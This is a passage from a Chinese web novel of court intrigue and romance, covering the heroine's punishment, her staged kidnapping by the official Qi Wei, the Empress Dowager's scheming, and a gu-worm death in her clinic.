只是这里又只剩她一人了，“还真是狠心啊。”
过了许久，又有声音传入耳中。
这般声响，甚至不用回头便已猜出是何人来了，“王爷怎么来了？”
箫祁政在她旁边停下慕珂便到外面守着去了，接过他递过来的东西一股香气扑面而来，感受到手心上的温度赵云归的肚子不争气的叫了一声。
咽了咽口水。
可想到孙妈妈的话赵云归便依依不舍的将吃食还了回去，“我在受罚。”
“看出来了。”
“不过……”没有那位的允许他也不会带吃食进来。
“哼。”赵云归摇了摇头，再次靠近那香味已经缠绕她的鼻腔可她依旧选择无视，“我可不敢。”
孙妈妈可谓是再三嘱咐了，她可不信赵离会这般好心，若是她此时吃了说不定便是更严的处罚了。
此时又无他人，“迂腐。”
见她一个眼神都不分过来，箫祁政不客气的当着她的面打开吃了起来，赵云归只能低垂着眼眸不看他，眼不见为净。
“幼稚。”
本就是打算逗逗她奈何她根本不接招，太过无趣，箫祁政又将吃食重新包好了，“你这…气性也太大了些吧。”
“哦！”
“门在那边，慢走不送。”
今日总捕衙司来的消息早已传了个遍，箫祁政也猜到她气的是什么，可，“我只是想让你靠你自己找到自己的敌人。”
“不是有意瞒着你的。”
无论他怎么说，赵云归依旧低着头不理他。
若真的像他说的那般，之前带她去鬼市打探消息是为了什么？
试探？
或者是其它目的？
最后又将信息藏起来，能想到的都想了，还是没明白他做这些的意义是什么。
“你要怎样才能不生气？”
“我尽量满足。”
赵云归终于舍得转头看他了，既然他已经说到这个地步了，那，“我要让他偿命！”
“他可是朝廷命官。”
他是一个活生生的人又不是什么飞鸟走兽，哪里能轻易便说取他的性命，万不该把性命看的如此轻贱。
箫祁政还想给她分析，可赵云归并不打算放下这个念头，“那我呢？”
“我就活该？”
齐卫本就不无辜啊，除了神医谷众人他的手底下还不知有多少惨死的冤魂。
可就算如此，“你又如何能杀的了他呢？”
他确实不是什么好人，可他还能站在原地等着人去杀不成？先不说单拳难敌众手，为了这样的人葬送自己好不容易捡回来的一条命，值吗？
两人各持己见，谁也不退步。
僵持不下之时箫祁政无奈凑近些在她耳边小声说了些什么，赵云归先是愣了一下随即点了点头，两人便都没再说话。
箫祁政盯着她看了一会儿便离开了。
这两日孙妈妈果真没来，也不让人给她送水，眼看着面前的场景都有些模糊了赵云归实在是撑不住倒下了。
等她醒来时脑袋还是沉沉的。
褪下外衫，把粘在肩膀伤口处的假皮撕下，疼的她的脸上冒出了冷汗，看着那因为没及时处理而溃烂的伤口，轻叹一声站起身。
唤了人来。
处理伤口时院子里的丫鬟告诉她孙妈妈派人来说，看在她如此诚心的份上，她的责罚便免了。
“知道了。”用力的咬了一口手上的糕点，也算是没白受苦了。
只是，一晃也过去了这么多天了，明日便到她的生辰了，赵心缇如今还是忙的抽不开身，按她的意思是这是赵云归回来的第一个生辰，自是应该让其他人看到其中的重视，才不会让她被别人轻贱了去。
赵心缇也是让她不用担心。
夜晚，赵云归躺在床榻上翻来翻去，无论怎样都睡不着。
想到明日的生辰宴是赵心缇用心准备的，若是出了什么差错她该多难过啊，想到这儿她起身走到书桌前写着什么，将写好的纸叠好装好派人送了出去才感觉安心了些。
一夜好梦。
府上的人一大早便起来开始梳洗准备，赵心缇也早早的来到赵云归的院子里，拉她起来打扮。
打量着镜中人，“云归生的真好！”
虽戴着面纱可她光看她那双桃花眼便知她生的是极好的，只是，这脸……也真是可惜了。
“走吧。”让人等久了可不好。
伴随着铜管乐起，外面终于是热闹了起来，等宾客们都入坐后便呈上了一道道菜品，色香味俱全，令人垂涎，随后便是一系列繁杂的礼仪。
一直到正午时分赵云归才得以脱身，只身走到外面透透气，坐在人群的另一边，看上去有些格格不入了，路过的人看她的眼神都算不上友好，像是看到了什么恐怖的东西一样，避而远之。
只有箫祁政到她旁边停下了。
两人聊着，周围的视线却更加不友好了。
“你们看啊，瘸子配丑女，还真是绝配啊！”难听的话语从人群传出，一看便是些未经世事的世家子弟，说话都不过脑子的。
赵云归心中倒是没什么，可看箫祁政的脸色算不上好，看来有些人要遭殃了。
许是察觉到她的目光，箫祁政看向她笑着摇了摇头，“没事的。”
“去吧。”
赵云归点了点头起身找到人群中交谈的赵心缇，等了一会儿她才脱身，朝着赵云归走来，“怎么了？”
“我有些难受，剩下的便麻烦阿姊了。”
正欲开口便有人走来找她，没办法只得冲赵云归安抚的点了点头，“去歇歇。”
见人走远才回自己的院子，可她刚走进去便感受到脖颈处传来一阵刺痛来不及呼救便被捂住了嘴，紧接着就是一阵眩晕，失去意识倒地。
“快！”
“墨迹什么，动作快点。”
再次醒来时手脚都被麻绳绑住了，侧躺在一堆枯草上，只是周围的环境昏暗看不太真切，尝试挣脱却是无济于事，“来人啊！”
“来人啊！”
哪有绑匪把人绑来却丢在一边的，赵云归只能嘶喊着让外面的人知道她已经醒过来了。
果然没一会儿门就被一脚踹开了。
一个蒙面人走了进来，两人面面相觑，他也不说话径直走到赵云归旁边一手把她提溜着坐了起来，拔出小腿处的匕首轻拍着她的脸颊威胁道，“给老子乖乖等着。”
“别吵。”
看到男人的动作满是慌张失措，别过头一个劲儿的点头。
男人见她不闹便没再多做什么，收回匕首便又出去了，门从外面被关上，破败的木屋再次陷入昏暗。
“咳咳。”
本想着先想办法将身上的绳子解开，正想办法呢门又被打开一束光洒落
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在赵云归的身上，那人虽蒙着面可看到那双眼睛便认出来了。
等了这么久，终于来了！
用黑布蒙着面的齐卫走进了没有开口说话，赵云归便装作不认识他，被绑住的脚在地面用力的蹬着，声音哆嗦，结结巴巴的道，“你……你…要干嘛？”
“别……别过来！”
“啊！”
见到赵云归这般模样齐卫只觉兴致更高了，微眯着眼睛打量着她，“不要害怕啊！”
眼中满是恐惧的看着蹲在面前的人，赵云归装作才认出她一般瞪大了眼，“是你！”
“放开我！”
赵云归用力的挣扎着，泪水夺眶而出。
齐卫伸手将她的外衫往下扯了扯，幽深的眼神被缠住的地方，好不犹豫的按上去。
“啊！”
“啊——”
白布上渗出丝丝血迹，疼的泪水从眼眶滑下。
“哼！”齐卫微微点头舔了舔后槽牙，果然是这样，“好样的！”
“啊——”
直觉肩膀上的刺痛刺激着她的每一根神经，疼的她控制不住的发抖，声音也止不住的发颤。
“疼？”
“疼就对了。”敢耍他，这点疼算轻的了。
没什么意思了，便松开手伸手将脸上的黑布拽下，嘴角全是完味，“那日你便认出我了吧！”
“你……你…想干什么？”
“你说呢？”齐卫将手中的长剑拔出一些，赵云归被白光闪的闭上了眼，别过身缩了缩脖子。
“不要……”
赵云归声音哽咽道，“你……你…别乱来，不然……不然我阿爹是不会放过你的！”
“不会放过我？”齐卫只觉好笑，“可是你若是死了谁又会知道是我干的呢？”
聊了太多齐卫有些心烦了，不耐的起身拔出剑指着赵云归，准备了结了她，可一声破空声下齐卫感受到肩膀处的刺痛，手中的剑鞘应声落地，惊恐转身，“你疯了！”
“自己人！”
谁想那人根本不听他说话，直接就拔出剑朝他走来，齐卫抬手朝那人刺去，可身体上的刺痛让他有些力不从心，只能找机会跑了出去。
“二小姐自己小心些。”那人为赵云归解了绑才追出去。
起身拍了拍身上的枯草，指尖拂过脸颊带走那一点泪珠，将外衫重新拉上，眼中满是冷意仿佛刚刚害怕到颤抖的不是她一样。
“我倒要看看今日……谁救你。”
等她走出去时外面一个个黑衣人躺地，齐卫也不见踪影了，只剩下早就准备好的一匹马拴在不远处，见她出来便叫了一声。
而此时浑身上下都是伤的齐卫正骑着马狂奔，肩膀上插着箭的伤口还在不停的往外冒血，嘴唇发白，额头冒出细密的冷汗，只觉眼皮越来越重。
这样下去迟早得栽在这儿。
“要死啊！”
“等我伤好了你们就死定了！”
强撑着到一个分岔路时他直接弃马走了另一条小路，这条路通的是普陀寺，只是这路很陡而且每月的这一日都会有贵人到，所以该寺每到今日都是闭寺不对外的。
天空渐渐的泛起一片金黄色光晕，普华寺佛音袅袅，钟声悠远。
寺内香火熏天，佛光普照众生，女子未施粉黛仍皮肤白皙，娇艳脱俗，披着一件白色斗篷跪在佛前，旁边的人接过她手中的三柱清香，插入香炉之中。
双手合十，虔诚庄重，“一愿郎君千岁。”
“二愿妾身常健。”
“三愿如同梁上燕，岁岁长相见。”
叩首，旁边的侍女走进将她扶起，走了出去，肖念安还是像往常一样亲自将写有‘愿郎君一切安好’的祈福牌挂上了。
双手合十，“我等你回来！”
9. 好一个兴师问罪
转过身看着那长梯，脑海中他的少年郎冲他挥手，拥她入怀的画面丝毫没有因为时间的关系而淡化，只是……多年未见也不知他如何了。
不过还好，很快……“很快我们就要见面了。”
“走吧。”
“赵家二小姐今日生辰宴递了请柬，小姐要去看看吗？”
肖念安接过青黛手中的请柬打开看了一样又递了回去，转身又看了一眼身后，抬手将连帽戴上，微低下头拉了拉帽檐遮住了她的半张脸，淡淡道，“父亲不喜赵家人我们便离远些。”
“以后这些你直接拒了便可。”
“是。”
待她走出寺庙后，这周围守着的人便都撤了下去，可刚走到马车旁后面就突然冒出来一个人，肖念安身边的立马将两人隔了开。
“何人放肆！”
“小姐。”齐卫的声音听上去虚弱的很，仿佛下一秒就要撑不住晕倒一般。
“是我啊，小姐。”
扑通一声，齐卫跪了下去，“小姐，救我。”
肖念安皱着眉，十分嫌弃的打量着地上这个满是血迹和污泥的人，不确定的开口道，“你是……齐…卫？”
“是我，是我小姐！”
“你……哼，总捕做到你这样的到也是没谁了。”肖念安斜睨着他，嘴角还有些许淡淡的笑意，可她并不打算帮他，转过了身。
“小姐！”
“咳咳咳！”齐卫急的吐出一口鲜血，狼狈的往前爬了爬，“我的所作所为都是肖太尉授意，小姐你不能丢下我不管啊！”
“小姐！”
肖念安眉毛微挑，转头看向他的眼神像是裹了刀子一样，声音也冷了下来。
“无论是你还是父亲都在天子脚下做事。”
肖权做事才不会这般的蠢，“齐总捕还需慎言啊！”
“我错了，我说错了……”齐卫重重的扇了自己一巴掌才爬过去紧紧的抓住她的披风一角，仿佛这是他的救命稻草一样。
“可是我真的不想死啊！”
“求小姐救我。”
肖念安的眼神逐渐下移，停在了他那满是泥污的手上，僵持了两秒齐卫闭眼倒地，看他这般模样一时半会儿也死不了，可不能让别人捡了去，思索一瞬伸手解开斗篷将它盖在齐卫的身上后吩咐人将他送了回去。
“走吧。”
青黛为她重新拿了一件斗篷披上后两人也上了马车离开了。
“这人是谁？”赵云归躲在不远处目送着她们离开，本来想看看齐卫背后的人是谁的。
万万没想到是一个这般年轻的姑娘，她并没有见过这个人，而且女子衣着朴素根本猜不出是谁。
等她再回去时一群人正忙着收尸呢。
绕过人群，赵云归径直走到了箫祁政的旁边。
“走近些。”
“怎么了吗？”赵云归虽是不解却还是离他近了些，想着他可能是有事要说便在他旁边蹲下了，双手扶着他的轮椅扶手看着他。
“高梨传信给我了。”
“这件事已经闹到皇上那儿去了。”
边说着他伸手将赵云归头上的簪子拔下扔到了泥潭里，又把她的头发扯乱了些，赵云归见状竟直接坐到了潭中，将浑身弄的脏乱。
“有人要保他？”
箫祁政也是没想到她会这般，愣了一下才继续开口说道，“今日你放了他，我们暂时便不能再动他了。”
齐卫在肖权身边呆了这么多年了，在没有找到更好的人选时他便不会被轻易放弃，可赵云归不知道齐卫背后的人是谁。
“知道。”本来也没想让他这么轻易就死掉。
赵云归起身知道他不会说便没有问关于那个女子的事。
不过膝下有女，还能保下绑架将军之女的朝廷官员，一个是沈丞相另一个便是肖太尉，沈相素来清正廉洁，便只有可能是那一手遮天的肖太尉了。
可她一时间想不通其中缘由。
等收拾完箫祁政让人将她送了回去。
赵心缇自得到消息后便一直焦急的等着，直到见到赵云归安然无恙走进悬着的一颗心才落地，满脸担心的迎上去，抬手整理着她的杂乱的发丝，“还好没事。”
她的手有些颤抖，眼神空洞，好像是受了多大的惊吓一般，“没事就好。”
“以后可千万别这么冲动了。”
赵云归怔怔地看着她，总觉得她的状态有些不对劲。
只是一瞬赵心缇脸上的表情又调整好了，看她这浑身是泥的也不舒服便没拉着赵云归说话了，“好好的生辰遇到这些事定是受到惊吓了。”
今日本就身子不适，“快早些回去歇下吧。”
“好。”
吩咐人准备好热水，赵云归将满是泥的衣服扔到一边，整个身子就没进了水中，小秋便跪坐在一旁给她处理这肩上的伤口。
也不知道箫祁政他们那边如何了。
此时的高梨和箫祁政从御书房出去后箫元义将桌上的杯子和竹简全部扫到了地上，噼里啪啦的声音响个不停，吓得外头的小太监直冒冷汗。
箫元义双手撑着桌子，怒极反笑，“真是好样的啊！”
快步走出去。
冷声对着一旁的小太监道，“慈宁宫！”
而此时的慈宁宫内，肖暮云平正躺在玄的腿上看着书呢，丝毫不知道外面发生的事情。
她赤着脚，腿微弓着，白皙娇软的小腿暴露在外面，可她却丝毫不在意，而玄安衣裳微敞着露出了他粉嫩的皮肤，纤细修长的手指把玩着她乌黑亮丽的发丝，面色绯红，双眸含情像看着肖暮云。
“有些乏了，给哀家按按。”
“是。”玄安腾出手来，给肖暮云轻轻按着太阳穴。
“陛下万安！”看着满脸怒气的箫元义莲心连忙迎了过去，这若是让他看到肖暮云那般模样可就完蛋了。
“陛下。”
“太后已经歇下了！”
莲心的声音从外面传来，肖暮云一手撑着地一手撑着玄安的腿坐起了身，不耐的看向门口。
“这又是闹哪出啊？”
话刚落地箫元义就气哄哄的走了进来，看到两人这般姿势后直接顿住了，眉头紧皱，不悦的看向身后的莲心，“这就是你说的歇下了？”
扑通一声莲心就跪下了，不敢再说话。
在他的注视下肖暮云起身，将跪着是玄安扶起拽着他的领子附在他耳边，双眸含笑看着箫元义，声音没有压低还故意提高了一点，“等我哦。”
看到箫元义脸上吃瘪的表情肖暮云的目的也达到了，笑容瞬间消失，“去旁边呆着。”
“皇帝这又是受什么气了啊？”说着肖暮
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云理了理衣裳，走近了些。
见她走近用力握住了她的手臂，“你……”
可看到她不自觉皱起的眉头又松开了手，质问她，“是你让人绑架赵氏的？”
“嗯？什么？”
肖暮云揉着刚刚被弄疼的地方一时间没反应过来他说的是谁，疑惑的偏了偏头，话语间满是不解，“绑架？”
下意识看向一旁跪着的莲心，见她摇头便转身走到桌子旁坐下了。
“皇帝还是不了解哀家啊。”
绑架这种事情太费事了，若是她便直接杀了，省时省力免得到头来人没捞着还落了口舌。
“不是你？”
“那也跟你脱不了干系！”
突然肖暮云想到了一个人，难道是他？
肖暮云没有急着去辩驳，就静静等着，她倒想看箫元义还准备说些什么，做些什么，不过也正如她所料，箫元义只是警告了她一下，便没有下文了。
他是不会动肖暮云的，不过，“好好想想要怎么应付高梨他们吧。”
还有，“告诉他，若是杀人便做绝了，别再留了把柄还指望着我来善后。”
自从箫元义做了皇帝，他们两人见面不是警告就是责怪，就没有好声好气的说过话。
这次也一样，闹的不欢而散。
箫元义走后她便写了信托人送了出去，可她却迟迟都没有等到回信，第二日她便谴人将肖念安叫进宫来。
肖念安穿着一身浅蓝色锦绣衣裳，秋水明眸，气质出众，一颦一笑尽显倾城之姿，举手投足之间也是优雅端庄。
“姑姑。”
“快坐到我身边来。”肖暮云看见她便心生欢喜。
“有件事问你。”
虽说她心中也怀疑是肖权做的这件事，但肖暮云也不相信他会留下这么明显的把柄，肖权大部分事都是让肖念安去安排的，还是需要与她证实一下才行。
肖权做事必定不会留下把柄来，这……“定是遭人陷害的！”
“姑姑放心，这件事我会解决的。”
借刀杀人吗？
肖暮云点了点头拉过她的手，欣慰的看着她，在她心中肖权这辈子做的最正确的事便是养这个女儿。
还有一件事，“鬼市在传神医现世了。”
“有所耳闻。”
若那人是假的倒也无所谓，若真是神医谷侥幸活下来之人可就麻烦了，无论如何，此人留下都是个祸害。
最重要的是，“千万不能让他与此人有任何联系。”
他的腿若是好了，沈相定会支持他还有赵将军也是，朝堂上本就有不少人对他们不满了，所以绝对不能让箫祁政有治腿的机会，一丝一毫都不行。
那人能归顺于她们便罢了，倘若是不能，就，“不能留活口。”
“不然我们都完了。”
肖念安知道当年的真相，也自然是了解其中利弊的，思考片刻，脑海中的一些东西便已经成型了，“念安明白了。”
“好孩子。”
这件事交给肖念安去做她是十分放心的，便也不再过多的去纠结了，“对了。”
“你与他近日可有联系？”
“嗯！”肖念安自是知道这个他所说的是谁，想到他便便不自觉红了脸，浅笑着，有些娇羞的低下了头，“我们日日都有写信的。”
10. 又一个替罪羊呢
好在两人隔的不远，这信件一日便可送达，倒也不至于让他们感情就此淡了去，相反，距离产生美，更能能加深两人之间的感情。
“看到你们感情这般好我也就放心了。”
他们都婚事便是肖暮云定下来，她自然是希望他们好好的，她本就膝下无子无女，就肖念安这么一个侄女儿，自是想要看着她结婚生子的。
肖念安与景王箫轻尘青梅竹马，从小便定下了婚约，只是后面箫轻尘封了王去了封地两人便就此分开了，那年杏花微雨，普陀寺前两人都红了眼，箫轻尘撑着伞眼中饱含深情，他说，让肖念安等她回来，等着他来迎娶。
接下来的几年两人都只能靠着书信交流，每年见面的次数也是屈指可数。
只想心中情谊还在，距离便不是问题。
而且她每年都会去普陀寺求平安福，等到见面时送给箫轻尘，一晃八年过去了，再有一年她们便终于不用再如此了。
他们两人的故事也是让京城不少人艳羡。
肖念安很会逗肖暮云开心，不自觉的两人便聊了许久。
倒是有些忘了时候了。
回到府上的肖念安第一时间就去找了肖权将今日的事情跟他说了，“父亲！”
“您是说他们这是在自导自演？”
“是与不是，去看看不就真相大白了！”说着肖权将手上的披风递给肖念安，决定去看望一下重伤的齐卫，顺便了解一下事情的原委。
繁星点点，月光如水，两人披上黑色披风便出门去了，马车驶在无人的街道上，拐进了一条幽暗的小巷子停下。
肖念安先一步上前敲响了面前的门，没一会儿便传来了吱呀的响声。
门开了一条细缝，随即才打开。
站在里面的是一位白发苍苍的老人，佝偻着腰让开位置让两人进去后张望着关上了门。
带着他们走进一个屋子，床榻上便是齐卫。
“他伤的不重。”
“那就把人叫醒。”肖权并不是很在意他伤的重还是不重，在他眼里只要还没死就无所谓。
“这……”本以为是看望，没想到……
可他的话也不容拒绝，只好照办，“是。“
老者走近轻拍着齐卫，他却没有一丝要醒的迹象，看他这样能叫醒倒是见了鬼了。
“啧。”肖权脸上的表情难看了些，有些不耐烦道，“算了，你出去。”
“好。”
把人赶出去后肖念安走上去，她可没有老人那般温柔了，指尖碾压着他肩上的伤口。
用力，不断用力。
“啊。”疼的闷哼一声，齐卫迅速清醒过来。
“没死就给我爬起来。”说着，肖暮云嫌弃的将擦手的帕子扔到地上便走回来肖权的身边。
“太尉，小姐。”
“咳咳。”
随即他掀开身上的被子，艰难下床跪在他们身前，脸上全是懊悔之色，不等两人开口问，他就先把知道的事情和盘托出。
昨日他原本是休沐的，可有人传信说肖权派人把赵云归绑了，人此时就丢在城外让他去解决，齐卫原本不信就派了一个人去打探一下，哪想到赵云归当真就被绑着丢在那儿。
等他去时就遭了埋伏了。
大概经过也都了解的差不多了，询问了些细节也就不再打扰他了，让他好好养伤。
只不过，“这人啊，犯一次错便够了，再有便不值得被原谅了。”
“是，属下明白。”
离开后便吩咐人将他送到普陀寺养伤去了，同时停了他的职，先避避风头，“你先去找个人顶上吧。”
“明白。”
次日，朝堂之上，被绑住手脚的年轻男子跪在殿上，箫祁政冷声问道，“肖太尉的意思是这人策划的绑架？”
“自然。”
“安王是觉得我说的还不够清楚？”
想到他会找人顶罪，却没想到随便一个人都能拉到殿前了，甚至是连伪装都不愿意伪装一下的，“这人和赵二小姐描述的可不太一样啊。”
“人嘛，一害怕脑子就会变得混乱，记错了也是很正常的事啊。”
“陛下说…是吧。”
两人争辩着箫元义也不制止，谁想到肖权竟将话头递了过去，他便不得不开口了，“既然此人已经承认了罪行这件事便到此为止了。”
高梨还想说什么却被箫祁政制止了。
“此人便交给赵家处置。”说着他思考着，“赵二经此事定受了不小惊吓，最近进贡了一些珠钗宝石朕让人送去。”
“无事，退朝。”
还未走出宫门便听到周围的人在议论着什么，走进一问才知道是鬼市最近出了一个人冒充神医鬼信。
神医吗？可笑。
高梨并没有驻足停留，径直离开了。
先去了赵云归的院子，最先入眼的便是石桌上一件件赏赐，没想到人还未回宫中的赏赐倒是先到了。
高梨思索一下没有提起朝上的事，将路上买的糕点放下就离开了，然而外面的流言赵云归也有所耳闻，想着这几日便不去鬼市了，慢慢的也就没人传了。
只是没想到过了几日居然又开始愈演愈烈，离谱的是传的不是她是假的，而是在传他有多么多么厉害，活死人肉白骨不在话下，这话也是传到了宫里那人的耳里，连夜派人去鬼市请人。
据高梨所说，那人如今正在慈宁宫坐在呢。
思索着将碗中的粥喝完，看来还是得出去一趟才行了，不然那么多年的名声都得被那冒充之人败坏了不可。
“阿兄，我出去一下。”
“不再吃点了？”
想着他这便宜妹妹不是被追杀就是被绑架的，高梨都不想让赵云归出去了，转念一想难得见她如此有兴致也不该限制她的自由，便由她去了。
“去吧。”只是，“万事小心，别冲动。”
“好。”
送走高梨后她也就出门了。
等赵云归下了马车时便看到慕珂又在府外等着了，两人见过好几面了这人都没开口说过话，赵云归都怀疑她是哑巴了。
两人进去时箫祁政依旧坐在那海棠树下。
“坐。”
慕珂也是十分识趣的将地方留给了两人。
走过去坐下没想到箫祁政也跟她提起了鬼市神医的事儿，赵云归表示有所耳闻，但具体是什么也不是很了解。
见她感兴趣箫祁政便多说了些，赵云归便默默听着。
“你知道太后为什么急着找她吗？”
好奇？
还是说有隐疾？
赵云归摇了摇头，毕竟隔墙有耳她不太好猜这些事儿。
“因为……”
箫祁政停顿一下，眼里闪过一丝狠戾。
早该想到的，太后那般急不就是怕箫祁政先找到那个人然后只好自己的腿，丞相本就不满箫元义，所以哪怕是万分之一的可能都是不允许的。
不知该如何安慰便静静的听着他说。
赵云归只知道箫祁政是中宫嫡出，生来便被册为皇太子，他是世人称赞的少年天才，可先皇遇害肖权逼宫，双腿残废的他彻底被拉下神坛。
至于其他内情她一概不知。
箫祁政也并不想提起。
如今最该担心的是被召见的那个人已经在慈宁宫呆了一夜了，却没有任何消息传出。
那人必死，已成定局。
可若是那人有些真本事此时也就罢了，若是没有，“太后知道她是冒充的必定震怒。”
“王爷怎么确定那人是冒充的？”
箫祁政淡淡一笑，看着赵云归的眼神带着些许深意，“我自有我的办法。”
“今日，小心些。”
赵云归点了点头，起身去换了一身衣裳。
去鬼市的路上她便在想，箫祁政这般帮他的目的到底是什么，可感觉猜什么都不对。
猜不对便不想了。
“走了。”
她前脚刚迈进叁生堂，后面几个男人就走进越过她便在里面随意翻看着，丝毫不将她这个屋子
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的主人放在眼里。
“几位客官不妨说说想找什么。”
“哟～”那几人被她吸引了注意，都朝她走了过来，“原来是个女娃娃啊！”
“哈哈哈。”
赵云归背在身后的手一紧，懒得理他们，关上门后绕过几人到里面坐下了，手托着下巴，“不知几位是谁有病啊？”
“你说什么？”
那人大吼一声并没有唬到赵云归，“来医馆不是来看病难道是……”
“来找事的？”
其中一人还想吵却伸手被拦住了，低声警告，“混球儿，别误了正事儿。”
说话的那人走近在赵云归对面坐下伸出手，笑的憨厚，看着还真不像是来惹事的，“我这些弟兄一根筋不懂事，姑娘莫怪。”
“不知怎么称呼？”
赵云归将手搭上感受着脉搏的跳动，“鬼信无常。”
听到着名字那人一惊，见赵云归收回手男人飞快的将手收了回去，就跟碰到了什么脏东西一样，可他还是没有忘记此行的目的的，“如何？”
“我可有病？”
“自然……”赵云归停顿了两秒，与面前的人对视着，吊足了他的胃口，“是有的。”
“哼。”男人已经猜到她的回答，脸上满是不屑，“如何治。”
赵云归摇了摇头，“不急。”
“几位初次来我得先说说我这里的规矩啊。”说着她不知从哪里拿出了一把匕首把玩着，缓缓说着，“我开医馆有两不救。”
“大奸大恶之人不救。”
“还有最最最重要的，已死之人我不救。”
“哈哈哈。”男人看了一眼身后的人，便一起大笑了起来，像是听到了什么笑话一样，“治不了便是治不了，又何苦编一大堆来浪费时间。”
赵云归摇头叹息没有回话。
男人却并不打算就此放过她，便顺着她的话问道，“所以我是属于哪一种呢？”
“大奸？”
“还是大恶？”
“哈哈哈。”充满嘲弄的笑声回荡在屋子里，吵的人心烦。
初次见面也不知道他究竟是什么样的人，虽说是来找事的，却也不会立即下定义，“自然，都不算。”
“哼。”男人挑眉凑近，手撑着桌子看着赵云归，“你不会是想说我是死人吧。”
赵云归没有否认，身体前倾抬手挡住鼻子，嫌弃的摇了摇头，“啧啧啧，好浓的尸味。”
“哼，搞笑。”
男人别过头对着身后的人吼到，“这话你们信吗？”
“不信！”
男人脸上嬉笑的表情消失不见，有些咬牙切齿说道，“这里谁不知我樊辽最是惜命，这话最好别让我听到从你口中说出来。”
要不然，“你一定会死在我前面。”
樊辽的警告对赵云归来说并没有什么威慑力，只是她也不想再与她争执下去了，“慢走。”
樊辽撑着桌子起身，都站起来一半了又坐了回去，“哪有医馆不给人治病反倒赶人的？”
“这要是传出去多损你第一神医的名头啊。”
“是吧！”
赵云归自然听的出这人是在威胁她，不用想都知道这便是她此行的目的，授意之人也定是那三人中的一人。
可是，“我何时说过我是神医了？”
“砰！”樊辽重重的拍了一下桌子，他不在乎眼前的人是个什么东西，反正敢在神医的地儿蹭了神医的名头，不死也得脱层皮。
“治不了，就趁早给老子滚蛋！”此话一出，旁边的几个男人都站在口樊辽身后，全冷眼瞪着赵云归。
啧，真是烦人啊，“你……”
“失忆了，对吧。”
樊辽脸上的笑意一瞬间消失不见，在赵云归说出其他所谓的症状时他眼睛都瞪大了，有一瞬间他都快信了赵云归的话了，可他好好好坐着呢，不可能是死人啊。
误打误撞，对，肯定是误打误撞。
“蛊虫。”
她怎么知道的！
11. 我说他死定活不了了
活落地的一瞬间她好像听到了鼓声，又好像是听错了，便没有放下心上。
“想必我说的很清楚了。”
“慢走不送。”
“你！”樊辽颤抖着起身，想要求赵云归救他，可他却控制不了自己的身体了，扑通一声男人双膝跪地，双臂垂在身侧，仰着头表情痛苦。
旁边的人吓得全跑了出去。
“啊——”
“啊——哼——”
闷哼声中，樊辽朝她的方向倒下，头重重的砸在桌子上，一只通体金黄的虫从他张开的嘴中爬到桌子上。
“砰。”赵云归手中的匕首插进蛊虫，看着它还在不停的蠕动不禁打了个寒战。
这用蛊术抢人性命的倒是常见，这上赶着给是送寿命的倒还是头一次见呐。
“啪啪啪。”
“哎呀，这戏……果真是精彩呢！”
一个穿着黑色长裙，浑身银饰，戴着银狮面具的女子嘴角含笑，不知何时站在门口看着里面的场景鼓掌。
“怎么又是你？”
鸢尾抬脚走进，脚上的铃铛便随着一步一响。
“啧啧啧”嫌弃的看了一眼，那已经没了呼吸的樊辽便被她一脚踹翻在地，毫不客气的抬腿踩到凳子上，俯下身，微弯的手臂撑着腿，另一只手将插着桌上的匕首拔出。
打量着插在匕首上的那已经死掉的蛊虫。
“啧啧，真是可惜了呢～”说着她徒手把蛊虫从匕首上拽下，侧身坐在桌子上，与赵云归互相打量着。
“神医？”
鸢尾用手中的匕首抬起赵云归的下巴，居高临下，“怎么还治不了自己的脸呢？”
“不想便不治。”
鸢尾将匕首还给她后起身在屋子里面翻看了起来，边看着便有意无意的聊着，总觉得赵云归给她一种很熟悉的感觉。
看来还真是她之前想的那样呢。
见赵云走近鸢尾从袖中拿出一个信封在她面前晃了晃，“长风堂密信，千金难求呢。”
“送你了。”
“欠我个人情哦！”
也不管赵云归要不要，鸢尾直接把信塞到了她的手上，然后转身就走了，不过她还特意叫人来将樊辽的尸体搬走了，倒是省得赵云归想办法了。
眼神打量着手中的信，看上去倒也没什么特殊的，就是有一股淡淡的香气，熟悉的很，“是…海棠花香？”
准备打开看看，可外面的交谈声先吸引了她的注意。
好像是在讲那个冒充神医的人被太后发现是假冒的，便下令将她处死了。
五马分尸之刑。
若是那人被发现了宫里的人估计会再找过来，想着赵云归把这里收拾了一下便锁门离开了，果不其然在出今朝醉的大门时就见到了宫中装扮的人在询问些什么。
赵云归没敢多做停留快步离开了这里，回到了安王府。
推开门，便看到了箫祁政的腿上放着一个竹篮子，竹篮子里是各种颜色的线，他手上正拿着针缝着些什么。
听到开门声，两人四目相对之时箫祁政手上的东西掉进篮子里，没想到赵云归此时便回来了，双手下意识捧起竹篮子，这藏也不是扔也不是，又放到了腿上。
“咳！”箫祁政摸了摸泛红的耳尖，避开了赵云归的眼神又不知看向何处。
觉得有趣赵云归走近想要看看他到底在干些什么，可还没来得及看到就被他挡住了，“怎么今日不翻墙了？”
挡住了但是没完全挡住，不过还是给他留点颜面，便装作没看到吧。
只是，“这些事……王爷还是忘了的好。”
“忘不了。”
跟他真的是说不了一点话。
赵云归一时间说不出话来，她脸上的笑容便转移到了箫祁政的脸上，“若是王爷喜欢，下次再翻墙给王爷看。”
“一定让王爷看个尽兴。”
“好啊。”箫祁政又挑逗了几句才舍得放赵云归离开。
将衣服换下，看着手中已经皱了的信封赵云归再次将它收了起来，还是回去找个地方安安静静的看吧。
换好出去时箫祁政已经不见了踪影，赵云归也没多想便先回去了，没想到回去后问起，小秋说高梨不久前也着急的出去了。
难道是出了什么事儿了？
问她们也问不出什么，赵心缇如今也不在家，赵云归便只好回自己院子待着。
坐在桃树下的石桌旁赵云归取出信封，抽出里面的信纸，六个大字赫然入目。
“昙华寺，见故人。”
打开信封里面就是这没头没尾的一句话，凑近信纸闻了闻，有一股淡淡血腥味，只是被花香掩盖住了所以并不是那样的真切。
有血腥味但是看不见血迹。
赵云归把信纸翻面也是什么都没有，一阵微风袭来将手边的信封吹到地上，弯腰捡起时海棠花花瓣从里面落下顺着微风飘走。
“海棠花？”
拿着信封的手微微用力，站起身看向远处的高山，眉头紧锁，“故人？”
“是你吗？”
来不及多想赵云归便起身吩咐人准备马车了，这时高梨也回来了，看她这急匆匆的样子像是遇到了什么事似的，“这是，又要出去？”
看着高梨这张凶巴巴脸赵云归有些不太敢去跟他说关于信的事了，他若是不让去可就麻烦了。
见赵云归不说话高梨还以为她是遇到什么麻烦了，有些担心的询问，“是遇到什么事了吗，要我帮忙吗？”
“嗯……”
赵云归还在纠结要不要说，高梨也看出她的为难了，抬手拍了拍肩膀，示意她不用担心，“没事的。”
